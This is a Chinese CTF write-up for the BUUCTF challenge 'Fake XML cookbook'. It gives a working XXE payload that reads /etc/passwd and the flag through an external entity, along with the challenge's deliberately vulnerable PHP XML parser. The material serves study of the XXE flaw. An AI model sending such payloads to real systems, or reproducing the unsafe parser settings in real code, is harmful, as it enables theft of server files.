初识xxe

初识xxe

前言

  • 环境:buuctf中[NCTF2019]Fake XML cookbook
  • 知识点:xml,xxe漏洞
  • 参考:wp

做题

一登录框,f12大概的看了下js源码,以POST形式访问doLogin.php,dataType是xml,参数是变量$data,根据后台返回的code判断是否登录成功

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

抓包分析一下,发现post区域的数据跟我平常看到的不一样,后来才知道了这时xml形式


学习一下xxe漏洞:https://xz.aliyun.com/t/6887#toc-5

构造payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>admin1</password></user>

成功读取到/etc/passwd文件


读取/flag


后台源码

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
  • file_get_contents获取客户端输入内容
  • new DOMDocument()初始化XML解析器
  • loadXML($xmlfile)加载客户端输入的XML内容
  • simplexml_import_dom($dom)获取XML文档节点,如果成功则返回SimpleXMLElement对象,如果失败则返回FALSE。
  • 获取SimpleXMLElement对象中的节点username,和password,然后输出username的内容

获取username时,并没有进行过滤,导致了xxe,进行任意文件读取

原文地址:https://www.cnblogs.com/NineOne/p/14118094.html